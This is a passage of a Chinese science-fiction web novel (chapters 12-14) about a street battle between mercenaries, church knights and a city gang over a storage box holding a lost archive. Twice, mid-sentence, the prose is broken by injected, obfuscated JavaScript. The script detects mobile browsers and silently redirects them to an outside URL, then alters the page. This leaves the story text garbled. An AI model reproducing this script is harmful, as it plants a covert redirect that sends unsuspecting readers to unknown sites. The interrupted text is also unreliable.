“嗯。因为它目前就是你的。”姜原看到周向青迟迟不接鸟笼,只好把它放在车顶,然后关上车门。“而且,每次我看到你,就会想到弗莱。我想,我把这个盒子给你,就相当于给他。这样我还是可以接受的。” “哦。”周向青应了一声。她觉得有点莫名的寂寞。 “再怎么说,事情顶多就是回到,‘如果我那天行动没有成功’这种情况而已。所以,这相当于我有了更多的考虑时间。”姜原笑了笑,走到车后,打开后备箱,又开玩笑道:“说不定,我可以在路上再抢你们一次。” “我大概知道胡小姐为啥那么讨厌你了。”周向青说。 “为啥?” “因为你——” 周向青的话被沉闷的爆炸声打断了。 她的瞳孔一瞬间失去了颜色,身子缓缓倒了下去。 胖球惊恐地尖叫起来。 12. 启程12 胡筱秋奔下楼梯,跨上摩托,一拧油门,顺着鼠道飞驰。她的通讯器却响了,是云景龙。 “你跑到哪里去了?刚才不是还在吗?老爷子开电话会议,却找不到你。我们正缺人写会议纪要呢。” “你闭嘴吧。你想找的人被安提赛在南环二段截击了,现在好像还在交火。还是说他们压根儿没告诉你?” 云景龙沉默了一下,说:“我先把你接进频道。” 一阵电流声后,一个咆哮声钻进胡筱秋的耳朵:“不可能!各方都需要我们这里出土的芯片和电子元件!虽然其它遗址也有产能,但无论品质还是数量都比不上我们这边——”这是二当家刘骏远的大嗓门,他主要负责经济和财政。 “不管你怎么说,我们和公司、教会的自由贸易无法持续,只是早晚的事情。完全中立又能够持续多久?一旦他们分出胜负,胜利的一方马上会把矛头对准我们。而我们有那个力量保持独立吗?”排行第三,分管外事的李宗山辩驳道。 “目前我们跟公司的贸易额已经超过教会百分之三十,而且还在持续增长。如果到头来必须要站队,为什么要选少的那一边?教会占了我们出口总量的三成。你以为砍掉三成的总量会发生什么?你想清楚,这是三成的总量,不是三成的利润!而你居然还想要先砍掉占四成的那一边。恐怕在公司的军队打进来之前,我们就先被饿肚子的工人推翻了——” 眼前的这段鼠道已经到了尽头。 胡筱秋拨动按钮,耳机里几个当家那激烈的争论声马上被电磁感应的滋滋声所覆盖。她这辆改装车的磁力锁把车轮紧紧按压在钢轨上,顺着窄窄的轨道滑往下一个平台。在车轮重新抓上地面,再次向前猛冲后,她松开了磁力锁,然后马上就听到了云景龙的叫骂声。 “臭女人,你想把我耳朵吵聋吗?” “我不管你们政治上的事情。云老四,给我派两队人。不然这回你的脸皮就真的剥干净了。” 云景龙回道:“人我早就派过去了。但那是我的人。你想替我指挥,没门。” 胡筱秋呸了一声。“你好歹给我他们的频道,让我知道当地的情况!” “你别仗着老爷子宠爱,就这么跟我说话……” 胡筱秋直接退出了频道。她不想管他们的争权夺利,更不关心他们今天能讨论出什么结果。她只为杜兴田不得不忍受这些人的吵闹而感到怜悯。 一分钟后,通讯器再次响起了信号接通的嘟嘟声。 但这回耳机里面传来的是沉重的呼吸,和接连不断的枪响。 ### 在周向青倒下的同时,姜原向另一个方向扑去,接着一个侧滚翻躲到车后。一连串的“咚咚”声打在他刚才站立的位置,那是几支注射式麻醉弹。其中一支正插在他的鞋跟上,吓得他出了一身冷汗。 对方居然敢在城市内发动攻击? 好在他们还是有意控制交火的烈度,改用了麻醉弹。多亏这点,姜原才堪堪躲过一劫。不然的话,怕是脑袋已经开花了。 姜原稍稍探出头,透过车窗观察对方的位置。麻醉弹是从对面楼上那些黑洞洞的窗户里飞出来的,但从他的角度看不见里面的人影。 对方的计划没有完全成功,但也没有暴露。此时要么就应该撤退,要么就应该把麻醉枪换成常规武器,进行突击。 他应该怎么办? 车尾处,周向青正一动不动躺在原地。胖球在笼子里扑腾着哇哇大叫,想来也无大碍。 这说明对方已经猜出了周向青的身份,用了电磁脉冲炸弹之类的东西。这会不会给她的仿生脑造成无可挽回的影响,姜原不知道。不过,好在装着存储器的盒子本身就有屏蔽电磁脉冲的能力。那个盒子就掉在周向青的附近。姜原试着驱动他的机械爪,但理所当然的,没有任何效果。 从他的位置看不到程光颐。 姜原蹲在车后,慢慢挪向后备箱,想从中摸出武器。 但安提赛佣兵已经从街对面的巷道中冲了出来。 当头的一个佣兵大步向前,对姜原的位置举起武器。 姜原急忙滚回车后。子弹击中地面,弹上后面的墙壁,灰土和碎块四处飞溅。 姜原急忙脱下大衣,解开机械爪的背带,把整台设备包了进去。对方选择用火力压制他,子弹接连不断地击中车身,打出一个个窟窿。姜原只有让自己的身体紧紧贴在地上,从车底盯着对方的军用靴。 枪声短暂地停了下来,同时,一双军靴快速靠近周向青的身边,脚踝处微微一皱。 姜原猛地站起身,把包着机械爪的大衣向对方扔去。打头的佣兵队长正在试图捡起装着存储器的盒子,却见到一个巨大的东西向自己飞来,下意识地向后退去。 大衣在空中散开,遮住了他的视线。 姜原趁此机会冲向后备箱,掀开后盖,随手抄起一个提包,重新滚回车后的地上。 佣兵队长也在此时抓起装着存储器的方盒,向后退去。佣兵们则发起一轮掩护射击,雨点般倾泻的子弹将小车的合金板撕开了更多的孔洞。 姜原趴在地上,打开提包,却见里面并不是榴弹发射器,而是学院交给他测试的一台莫名其妙的装备,还有一厚本的使用说明。他叹了口气,把使用说明扔向空中。那本厚书当即就被密集射来的子弹打了个粉碎,纸屑像下雪般纷纷落下。 就在此时,程光颐突然从侧翼突入战场。 这位三合教会的骑士不知何时已经戴好头盔,从背后取下一面三角形的盾牌横在身前,像上时代的骑士那样发出一声呐喊,堂堂正正向前冲锋。佣兵们转头向他射击,但小口径子弹无法突破盾牌正面释放的阻滞力场,只在盾牌表面撞出一些白色的斑痕。 抱着存储器方盒的队长急忙发出切换武器的号令,但在这关键的几秒钟里,程光颐已经撞进人群,亮出罩袍下隐藏的铁臂和拳剑。 铁臂的一拳沉重地槌在那队长的胸口,剑锋透过他的防弹衣,将他刺了个对穿。队长手一松,方盒掉在地上。程光颐俯身去捡,但其它佣兵已经更换了专门对付骑士的能量武器,开始第二轮的齐射。 程光颐架起盾牌抵挡,但激光光束带来的高热不受力场的影响,那块三角盾牌瞬间变得通红。程光颐索性一拳将它打了出去,三角盾牌在空中解体,熔融的金属碎片没入几个佣兵的身体,让他们一下子燃烧起来。但激光同时也烧掉了程光颐的罩袍,他镜面般的骑士胸甲和臂甲把大部分的激光都折射到了周围的空气中。 然而,一个佣兵已经一个翻滚扑向程光颐的脚边,抄走了那个方盒。程光颐反手去抓,却抓了个空。 姜原从车后闪出。 他拿着提包里的那个实验性武器,把枪口一面对准佣兵,扣下扳机。枪口中喷射出一股发泡的胶体,一接触空气便快速凝固变灰,黏在拿着方盒的佣兵身上,板结固化。那佣兵挣扎着,想要把手中的方盒递给队友;但姜原连连喷射,顷刻间把那佣兵变成了一座古怪的现代雕塑。 姜原向前赶去,但程光颐却先一步把盒子抢在手里。 他跟姜原对视一眼,一个后撤步,掉头就跑。 姜原再度扣下扳机,用那奇怪的液体封住程光颐的腿。程光颐摔倒在地,方盒脱手飞出。一个佣兵冲了过去,捡起方盒,同时他的同伴重新向姜原射击。 姜原急忙躲到那个佣兵的雕像身后。他翻了翻手中的提包,摸出一枚像是手雷一样的东西,扔向那个佣兵。手雷在空中炸开,变成了一团全是倒刺的网。那个佣兵被网住身体,但还是挣扎着把方盒扔给了自己的同伴。 佣兵们接住方盒,急忙穿过巷道,向预定的位置逃去。南环二段的城区距离地面较低,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088301|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们早在末端设好滑索,一个个垂降下去。程光颐此时已经敲掉了脚上的胶体,爬起来追了上去。但他的盾牌已经毁掉。佣兵们换成实弹,交替点射,虽然不能完全击穿他的胸甲和顶盔,但也对他造成了足够的威胁,让他放慢了追击的速度。 姜原也赶了上来,但只能眼睁睁看着佣兵们穿过地下停车场,爬上了东边外围停靠的装甲车辆。 此时,远处传来了重型摩托的轰鸣声。四辆摩托车由远及近,骑士均是银盔罩袍,车身上画着三角标志。那大概是程光颐呼叫的增援。 程光颐对着骑士们挥了挥手,纵身跳下,不偏不倚落在其中一辆摩托的后座上。四骑同时加速,追逐着佣兵的装甲车疾驰而去。 姜原无计可施,只得回到周向青的身边,翻开她眼皮看了看。 周向青的眼睛黑洞洞的,没有一点颜色。姜原想把她从地上扶起来,但一拉她的手臂,竟没拉动。他只好蹲下身,拼上全身力气,算是把她架了起来,一步一挪,挨到整备站门口。姜原用力敲门,但门内没有任何声音。 这是自然。安全屋的安全永远是第一位的。 于是他只好把周向青带回汽车旁边。在姜原一步一步挪出巷口的时候,一辆摩托车在他身边停了下来。胡筱秋冷冷地望着他。 “我就知道她得早晚被你拖累。”胡筱秋说。“脉冲炸弹?” “脉冲炸弹。”姜原答道。 胡筱秋长叹一口气。“那看运气吧。” 姜原拉开已经被子弹打成筛子的车门,奋力把周向青塞进去,然后把鸟笼放在她的胸口。胖球因为刚才的应激反应,此时疲惫不堪、羽毛散乱地趴在笼子里。 姜原想了想,把周向青的帽子摘下来,戴在自己头上;又捡起地上的大衣穿好,拎着提包,跨上胡筱秋的摩托车后座。 胡筱秋把油门一拧到底,摩托车的车轮在地上擦出一道黑色的痕迹,随即猛冲出去。她这次并没有走鼠道,而是让车子笔直驶向路段末端,还不等姜原出声喊停,胡筱秋便已一拉车头,车子随即飞出路面。与此同时,车身伸出一个磁吸挂钩,吸住空中几不可见的一根钢缆,滑向地面。姜原紧紧抓住胡筱秋的腰,寒毛直竖,唯恐自己掉落下去。 如果是平时,胡筱秋必会嘲笑他一番。但此时她没有那个心情。 她现在只是全神贯注地追逐前方车辆卷起的烟尘。 那股烟尘渐渐的近了。在这里,没人比她的车更快。 四骑士三前一后的身影已清晰可辨。骑士们已经抵近装甲车,但他们也无法将装甲车逼停。一个佣兵从车顶的天窗探出身子,想要操作车载机枪扫射骑士们,却被手铳一枪打了个对穿,跌回车内。 双方陷入僵局。但这个僵局对骑士们更加不利。 因为这样一直开下去,就会到达环运城与米卡的边境。 只不过,左右两边另兴起两道尘土,向着装甲车的方向包抄过去。 “目标已经进入拦截区域,是否开火。”一个男声在通讯器中询问。 “开火。”胡筱秋说。 “不要开火。”另一个男人的声音插了进来。是云景龙。“刚才电话会议已经决定了,让安提赛返回公司的地界,我们只要象征性追一下就好。刘副会长已经说服了……” “开火!快开火!”胡筱秋对着通讯器喊道。 “不要开火。我再强调一次,不要……” “目标即将离开拦截区域,是否开火?”通讯器里再次问道。 “你给我开火!宋庆元!我知道是你!你要是不开火,我就回去开了你的脑壳!我去告诉你老婆,你那天在酒吧——”胡筱秋对着通讯器大声尖叫,全力盖过了云景龙的声音。而云景龙直接切断了她的连接。 但几秒钟后,他们身后传来了隆隆声。 城市开火了。 13. 启程13 虽然只是上个时代的遗物,但这些简单的机械结构仍然能够有效工作。 炮弹尖啸着划过天际,在装甲车的前方爆炸,扬起无数碎屑和漫天尘土。装甲车转弯急停,准备调头逃离;但它们一减速,很快就被追上去的骑士和两侧包抄的杜帮车辆夹在中间,进退不得。 佣兵迅速行动起来,钻进装甲车上的机枪位,其余人以车门为掩体,三辆装甲车列成一个“品”字阵势。骑士们并不下车,摩托也并不熄火,他们只是紧握着特制的大口径手铳,一言不发地看着佣兵们准备。杜帮的人马则在佣兵车辆的东北和东南围成两个扇形,让佣兵和骑士都处于他们交叉火力的覆盖之下。 胡筱秋的摩托车直接开到杜帮阵型的左翼,她在那里找到了现场指挥这场行动的杨云飞。杨云飞正听着通讯器里的人叭叭训话,时不时点头答应。大概是云景龙正在给他们下命令。 杨云飞看到胡筱秋,举起手示意她离开交火区域,说:“请你不要再干涉我们行动了。” 胡筱秋反问道:“是不是云景龙让你放他们走?” “不。他说既然已经开火截停了,就不能假装什么都没发生。他想以违反停火协议为理由,劝说他们双方缴械,全都带回城区再讨论怎么处理。”杨云飞说完,拿出一个喇叭向对方喊道:“安提赛佣兵,教会骑士,你们违反了环运城停火协议!立即放下武器,缴械投降!” 胡筱秋骂道:“满脑子政治的混蛋。”她从摩托车上拔下一杆带加长枪管的霰弾銃,盯着佣兵们。姜原则忙着把提包里的道具,塞进身上各处。 骑士们保持着沉默。 但佣兵们似乎是商量了一会,然后其中一个人答道:“你先得代表环运城保证我们所有财物的安全,以及我们的人身安全。” “我以杜会长的名义保证。” “那我们把所有武器和财物都交给一个队友,你放他开车离开,我们其他人跟你们一起走。” “不行!你们先放下武器!我保证你们的财产安全!” “空口无凭。”那个佣兵说。“要不,你们把这几个三合教会的骑士都杀了,我们就愿意缴械。” 杨云飞愣了一下。他没想到对方会提这种要求。但这也不是他能决定的事情。于是他对着通讯器嘀咕起来。 胡筱秋对佣兵喊道:“喂!你叫什么名字?” “梁树成。” “是哪个人设的脉冲炸弹?你让他出来!” “是我们队长,他被那个骑士杀啦。”梁树成答道。 “你别指望我信你这种无聊的谎!你让他出来!” “我没说谎。如果你不信我们,我们又怎么相信你们呢?” “所以你是想死吗?” “我们不想死,但也不会坐以待毙!”像是示威似的,装甲车顶上的机枪手摇晃了一下重机枪。杜帮没有携带这样火力的装备,但有突击步枪和几杆RPG。 姜原哑然失笑。这佣兵还有点意思。 但杨云飞显然是有点急了,喊道:“我们不会随便对你们开火,但也不会伤害这些骑士!是你们先违反了停火协议,所以尽快缴械投降!” “那咱们就耗着吧!反正上班是按时间算钱,耗得起!”梁树成也喊道。 姜原低声对胡筱秋说:“他大概是想等支援过来。这里离边境太近,我们不能一直跟他耗着。” “我知道。”胡筱秋不耐烦地回了一句。 双方仍旧僵持不下。 姜原突然问胡筱秋:“我记得当时你说,‘杜老板没有要求你把存储器找回来’,那是什么意思?” “这跟现在有什么关系?” “你说说看,没准就能解开这个死局呢。” 胡筱秋无奈道:“你记不记得三年前的停火协议?” “记得。当时杜老板声称他掌握了最后一份世界政府档案的消息,敦促各方谈判,然后就没有下文了。但停火协议却顺理成章地签了下来。” “对。当时能够签下来协议,其实是‘弗莱’的支持。但弗莱后来失踪了,而档案也没有拿到。所以,停火协议其实只是这件事没有结果的结果而已。这一次杜老板想在各方之前拿到档案,根据其内容决定下一步的策略,尝试把停火协议和局面的平衡再延长一段时间。但因为你插的这一杠子,各方的注意力已经转到了城市,此时杜老板更担心公司和教会的干预会……先让我们内部分裂,所以想把争夺尽快引到境外去。” “但他为什么三年前之前不怕双方的干预呢?”姜原问。 胡筱秋犹豫了一下,答道:“因为杜老板身体情况恶化了,不知道还能等多久。” 姜原点了点头。“原来如此。但云景龙是什么情况?听你刚才喊的那几句,似乎他并不想拦截这些人——哦,我知道了,你们内部大概跟公司结盟的一方势力比较大?毕竟是个商业为主的城市。” “没错,就是这样。” 姜原思忖片刻,又问:“杨云飞是忠于杜兴田,还是云景龙?” 胡筱秋明白了姜原的意思。“杨云飞是云景龙一手提拔的。但大家普遍还是更尊重杜老板。” “明白了。” “今天早上开了电话会议,大家可能有所耳闻。”胡筱秋补充。“我们可以利用这个……” 杨云飞还在与佣兵和骑士们僵持。这也是当然的。杨云飞的保证并没有那么大的信用。 但无论是三方中的哪一方,都在这种对峙中越来越疲惫。一方面他们希望方打破平衡,另一方面他们又担心这种平衡是被自己以外的一方打破。 杨云飞劝得口干舌燥。他擦去脑门上的汗水,再一次的喊道:“我以杜会长的名誉担保,你们放下武器之后,我们负责你们的生命安全!要是有个什么万一,大家后悔莫及!” 姜原趁机向杨云飞大喊:“杨队!先让他们把盒子交出来啊!万一打烂了,没办法交代!” 他声音放得很大,刻意让佣兵和骑士们也听得到。 “你胡说什么!”杨云飞脸上变色。 佣兵们把重机枪对准了杨云飞。“如果你们贸然进攻,我就把这玩意炸了,谁也拿不到!”梁树成喊。 “不要轻举妄动,不然谁都没有好下场!”杨云飞咆哮道。“还有你,你是谁?你有什么意图?” 姜原摆出一副无奈的表情。“你不认识我?但你应该知道我才对。就是我从鼎新楼你们云四当家那里抢了这个盒子,然后又被安提赛从我这里抢走了,而骑士们打算从安提赛手里抢回来,这样就不用兑现跟我开的价钱。大家应该都认识我才对呀!” “原来就是……但你怎么跟……”杨云飞看了看姜原,又看了看胡筱秋,最后还是决定不要多想。他骂道:“你闭嘴吧!现在没工夫理你!” “但现在,你们正打算把它抢回去不是么?咱们话不妨挑明了说,大家就是都想要这东西而已,没什么好遮掩的!” “闭嘴!”杨云飞低吼。 但梁树成却趁机高声叫道:“对啊,把话挑明了说!这样才好谈嘛!那什么杨队长,你说的话我是不信的。我们是佣兵,就是挣一份卖命钱,谁也不想白死,所以要谈价钱可以,但不要骗人!” 杨云飞对着通讯器嘀咕了一阵,把通讯器摘了下来。“要不,你跟我们四当家谈!” “不可!”程光颐沉声喝道。这是骑士们第一次出声。“你们双方私下谈判,同样是违背停火协议。杨队长,你是想说,你们也准备违反协议吗?” “绝对没有。所以我请双方——” “今天的电话会议——就是这么说的吧?”姜原大声打断杨云飞的话。“杜老板本来打算保持中立,遵守协议;但云景龙跟你们其它当家的一起,逼着杜老板让步不是么?” “你一个局外人,有什么资格胡说八道!”杨云飞拔枪指着姜原吼道:“胡筱秋,你让他闭嘴!” “抱歉,他说的没错!今天的会议我也听了,我永远站在杜老板这边!”胡筱秋抬起霰弾銃,对准杨云飞的脑袋,大声回答。 看到胡筱秋站在姜原一方,杨云飞的部下都有些迟疑。 姜原见缝插针地对着那些人喊道:“局外人?我虽然是外人,但反而是最有资格说话的人吧?我昨天从你们那里抢了这个盒子,杜老板却明令禁止追杀我!虽然我这么说不太合适,但我很感激杜老板的宽宏大量!你们云老四却很不服气杜老板的决定!所以今天呢,这伙佣兵抢了这批货要从这里离开,云老四却打算放他们走!你们之前也在指挥频道里听到了吧?这说明什么?” “说的没错!刘骏远现在的确是二当家,但什么时候轮到他和云景龙替代杜老板,决定城市的态度了?”胡筱秋跟着质疑。 几个人开始交头接耳,窃窃私语。 杨云飞转过身,对着手下怒吼道:“闭嘴!都给我闭嘴!” 佣兵们的神态放松了不少,梁树成安排负责开车的佣兵坐上驾驶座位,显然感觉胜券在握。他们只等米卡的支援赶到,随时准备在火力掩护下撤退。 而骑士们则紧盯着佣兵的动作,明显是紧张了起来。但如果他们后退,是不可能逃得出重机枪射程的。他们只有向前。 强势方变得混乱,优势方变得放松,弱势方变得紧张,就是冲突的前兆。 但现在还欠缺一点压力。这样他们就会在看到自己的机会时,主动出击。 于是姜原喊道:“杨队长,你为什么不答应那梁树成的提议,把这几个骑士做掉呢?这么一来,城市岂不就彻底站到公司这一边了?你这么做岂不是大功一件,二当家、四当家都高兴,杜老板不就也无话可说了?” “我才不会这么做!城市 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不知是谁手指一抖,枪声响起。一发子弹从杜帮右翼射出,擦过重机枪位佣兵的头盔。此时已经无需下令,佣兵们发动装甲车,重机枪对杜帮包围线的左右翼同时开火;而杜帮也几乎是在同时一齐开火还击,子弹如暴雨般往来交错,车辆未加固的外壳连同车后人类的血肉统统被金属风暴撕得粉碎。 几枚□□打着转飞出去,一枚射进一辆装甲车的尾部,爆炸了;还有一枚虽然射中了车身,是个哑弹。其中一辆装甲车开始加速,准备朝西南方向逃逸;而梁树成所在装甲车的驾驶员被子弹击中,车子没能发动起来。梁树成推开车门,试图将驾驶员的尸体推下车子。 姜原早在枪声响起时扑倒胡筱秋,对她眨了眨眼,做了个不要动的手势。随后他拉开衣襟,向交火的方向扔出一个盒子。盒子自行弹开,构建了一个大约齐膝高的弧形自适应迷彩掩体。虽然不能抵挡重机枪的正面射击,但对流弹和弹片有很高的防御效果。这都是那提包里的小玩意。 骑士们也在第一枪响起时发动了机车。他们先掉头离开杜帮交叉火力覆盖的区域,绕了一个圈,继而从侧翼向杜帮火力点发起冲击。 大口径手铳兼具霰弹的火力和半自动手枪的射击频率,铁臂握持也无需担心过大的后坐。被挨个点名的杜帮成员纷纷倒下,其它人也急忙蜷伏在掩体后。 佣兵们趁着杜帮成员隐蔽的机会爬回装甲车,但骑士们车头一转,追向想要离开的装甲车。机车加速的速度要比装甲车快得多,骑士们交错切向重机枪的射击盲区。 重机枪急忙改变目标扫射,两辆机车先后中弹,两名骑士,包括程光颐,一同人仰车翻。但另两名骑士已抽出像标枪一样的武器,投向装甲车顶。一枚标枪插在重机枪手身上,另一枚则不偏不倚投进重机枪的射击位中。 标枪爆炸产生的金属射流瞬间烧穿人体和车体,连同金属碎片在车内乱飞,将车内的佣兵打得血肉模糊。 程光颐掀开倒下的机车,从地上爬起,跌跌撞撞冲向第三辆车,也是梁树成所在的装甲车,一拳打进车体。剑刃起到钩子的效果,程光颐借力抓紧了车身。装甲车连续两个急转,想把程光颐甩下去。但另两名骑士漂移停车,重新抽出标枪,分左右翼向第三辆装甲车加速冲来。 装甲车上的重机枪手调整站位,先击倒了左边的骑士,随后向右边的骑士射击。骑士投出标枪,但装甲车已经开始加速,这一投没有命中。装甲车与骑士擦肩而过。 杜帮成员的幸存者呼喊着确认彼此的情况。还有几个没受伤的人从掩体后探出身子,向装甲车和骑士继续射击。骑士的机车反倒在地,爆炸了。 梁树成的装甲车已经开始加速,画了一个大大的弧线,掉头向正东,公司的方向驶去。 但程光颐此时已经爬上了车顶。机枪手拔出手枪准备开枪,但程光颐向前俯身同时一个右摆拳,拳剑剑刃砍掉对方手臂的同时,也割开了他的喉管。机枪手的身体软软滑进车内,程光颐也顺势从机枪手的射击位钻进装甲车。 梁树成从后视镜中看到异状,猛地一打方向盘,程光颐措手不及,滚倒在地。另一个佣兵拔出匕首瞄准护甲缝隙,虽然一刀刺中程光颐的右肩胛,却也被一脚蹬上下巴,登时晕去。 梁树成一个急刹车,趁程光颐一头撞上座位靠背的时候,抱着那个装着存储器的盒子冲下了车。 程光颐一把拉住了梁树成的腿,梁树成抱着盒子直接滚到在地。 程光颐同时也从装甲车里爬了出来。梁树成拔枪射击。第一枪在程光颐顶盔上留下一个凹陷。第二枪击中背部,也没能打穿护甲。第三枪时,程光颐伸左手抓住梁树成的右腕一拧,手枪掉在地上。 梁树成一脚踢开程光颐,但自己却因此倒在地上。梁树成打了个滚,掏出一颗手雷,拔掉拉环捏在手里,喊道:“你如果敢动我,那就谁也别要这东西了!” 程光颐什么都没说,只是后退两步,靠在装甲车上微微喘息,但他头盔后的双眼仍然紧紧盯着梁树成的手臂。 14. 启程14 空中响起一声清亮的鸟鸣。 仰头望去,一只黑色的鸟儿轻巧地从蓝天上滑翔而过,落在旁边的梧桐树稍上。它在叶片中跳来跳去,时不时歪过头,从树叶的缝隙中偷眼一望。偷瞧了好几次后,鸟儿总算是稍稍放下心,便从树上落下,开始啄食地面泥土里的小虫。但才啄了几次,它突然警觉地抬起头,扑棱棱飞回叶影里去了。 ——你还真的是一动都不动啊。 一个声音从我背后传来。 ——你把它吓跑了。 ——八哥? 那人一屁股坐到我身边,眯着眼睛望向树冠。 ——我不知道它是什么鸟。 我往长椅另一边挪了挪。 ——是八哥。鼻子有卷毛,翅膀有白斑的是八哥;黑不溜秋,鼻子光秃秃的是乌鸫。 ——鸟没有鼻子。 我答道。 他哈哈笑了。 ——的确,鸟没有人类这样凸起来的鼻子。但这就是一个比喻。说鼻子,是说它对应人类鼻子的那个位置。因为人类总是喜欢通过自己来认知这个世界。而且,它们的确有鼻孔,不是么? 我没有回答,只是默默看着树上的八哥鸟。我不明白为什么人类一定要告诉我这些没什么用的信息。但他还是继续啰嗦个不停。 ——白让你等了这么久,结果最后的希望也泡汤啦。这个大主讲是个脑筋有问题的家伙。我跟他谈政治,他跟我讲神学;我跟他谈神学,他跟我讲心理;我跟他谈心理,他跟我讲伦理;我跟他谈伦理,他跟我讲常识;我跟他谈常识,他跟我说凡事不可以常理揣测。你说我能怎么办。总之,就是八字不合,聊不到一块去。 ——你没有必要告诉我这些事情。我只是你的护卫。 我硬生生地回答。 ——所以你要为对话额外收费吗? 他像八哥一样歪着头看我。他红帽子的帽檐长长地伸出来,真的像一只鸟的嘴巴。 ——我不具备陪伴聊天的功能。我的话不能舒缓人类的情绪。 我这样回答。 ——但我也没有要你陪我聊天啊。我只是坐在你旁边自言自语而已,这有助于我捋清思路。 ——你不能一个人自言自语吗? ——如果我一个人躲起来自言自语,你又怎么护卫我呢? 他笑着反问。 我只好继续坐在原地。 ——你看啊,现在的情况是这样:一方绝对不会接受,一方结构上不能接受,再一方没有能力接受,最后一方看似接受但实际上不会真的接受。各方都没有回旋的余地,这不就成了个死局么?如果顺着这个趋势发展下去,程序和代码不断复杂复杂再复杂,那么我们只是换了一盒积木再搭一遍,而下一次的自动化大崩溃也基本就在日程表上了。如果再度崩溃的话,这个世界还会和我们有关系么?下次世界上会出现什么样的东西?这样下去的话,即便拿到了最后的备份,也无论哪一方拿到,最后还是什么也改变不了。就像上个时代人们说的,人从历史中唯一学到的,就是人不能从历史中学到任何事情。结果我们就只能像你一样,眼看着眼前的世界运动不止,自己却只是一个与之无关的人…… 他靠在椅背上,望着对面的梧桐树,嘟嘟哝哝的絮叨声就像是另一种鸟鸣,低沉,嗡嗡的,很好听。但他话语的内容无法进入我的脑海。因为护卫型仿生人不允许与雇主建立太密切的关系。 我不免觉得有些可惜。如果我是陪伴型的仿生人,听完这番话,会有什么样的感受,会怎么回应呢? 我不知道。 八哥竟在树上也像是回应他一样,叽叽喳喳地叫了起来。 它大概急着让我们走开,它好安心吃下面的虫子吧。我闭上眼睛,让这些尖锐的、低沉的鸟鸣声混合着充满我的脑海。 在阳光下听这样的声音,有一种和谐而又躁动的舒适感。 ### 周向青猛地睁开了眼睛。 胖球在她胸口不断鸣叫,抓挠撕扯铁丝笼子,嘴角都有些出血。她赶忙一手撑起身子,另一只手伸食指进去安抚它,同时顺便慢慢坐起身体。 然后她注意到,自己现在是躺在姜原的车里,周围遍布弹孔和车体的碎片,车外有几个人倒在血泊里,还有一尊古怪的塑像孤零零地站着。远处有一些人在向她这边打量,另一些人则聚集在街边,眺望远方。 她摇摇脑袋,但脑袋中就像是装满了螺丝的工具盒,昏昏沉沉的。 而且,她的帽子不见了。 同时,装存储器的盒子不见了。姜原和程光颐也不见了。 到底怎么回事? 她竟然什么都想不起来。 周向青打开笼门,轻轻握住稍稍平复的胖球,把它揣在自己的衣服里。胖球眼前变黑之后,渐渐安静下来,爪子紧紧抓着周向青的衣服,紧贴在她的胸前。周向青钻出车外,却发现那古怪塑像的两只眼睛还转来转去,打量着她。 此时她听到后面的人议论道:“刚才开炮了。你看到了吗?” “没看到,我刚过来。到底什么情况?那边是谁的人死了?” “刚才一堆人在这里打啊,砰砰噗噗,把好多东西都打坏了。然后他们好像是跑到城外去了。杜老板的人追上去,现在大概正在那边打呢。” 城市东方正烟尘四起,火光闪动。 她匆匆跑下楼梯,穿过停车场,跑上废品的原野。 她一刻不停地向前奔跑。 ### 杨云飞死了。 一发机枪子弹干脆地掀开了他的头盖。但即便躲过了这一击,他肺部、大腿的伤口也会要了他的命,只是死亡来得更痛苦,更慢,伴随更多的惨叫。就跟其他人一样。 这是胡筱秋从掩体后爬起来的第一感受。 但姜原并没管倒在血泊中苦苦呻吟的杜帮众人,他只是望着程光颐的方向,说了声“他们在那边”,就自己先追了过去。但他才跑了几步,突然又停下了。似乎在看什么东西。 胡筱秋命令没受伤的人求助同伴,然后从地上捡起霰弾銃,来到姜原旁边。事情既然开始,就要有个结束。 姜原说:“云景龙可能正往这边过来。你觉得他会怎么办?” 胡筱秋顺着他的目光望去,只见城市的方向扬起了一阵尘土。她答道:“他爱怎么办就怎么办。” “但他要代表谁来办呢?” “如果他带的人多,那就是杜老板;如果人少,那就代表他自己。” 姜原点点头,重新迈开步子。“那我们该小心些。如果公司和教会知道了今天的事,那无论是咱们,还是杜老板,可就麻烦大了。” 胡筱秋沉默了一会,说:“今天死了不少人。来之前,我也没想过事情会变成这样子。” “你见过老头子们安排的活儿,可以不死人的吗?”姜原叹了口气。“所以你也别……” 胡筱秋斜了他一眼。“亏你说得出来。你那什么‘作揖美学’,现在已经丢到一边去了?”不知怎么,她突然想起了这个早已淡忘的词。 姜原苦笑了一下:“毕竟我是院里最没出息的人嘛。如果可以的话,我还是想作作揖就算了的。” 胡筱秋叹了口气。她拉开枪栓,子弹上膛。 “明明只是一点历史记录而已。”她喃喃道。 “是啊。明明只是一点历史记录而已。” 两人一同走向远处的装甲车。 ###

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088303|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 梁树成正一手捏着手雷,一手抱着盒子,从地上爬起身。他看到姜胡两人慢慢靠近,一下子紧张起来,连连后退。程光颐仍然靠在装甲车上。没人看得到他面甲后的表情。 姜原举着双手挡在胡筱秋身前,让她在自己侧后方伺机而动。然后他向程光颐喊道:“骑士老兄,我是跟你在咖啡馆谈话的人,你还记得我吗?” 程光颐只是哼了一声。他肩胛的伤疼得厉害,一直在流血。但他的右手仍然垂在腿边。那里斜插着他的手铳。但他似乎并没有使用它的意思。 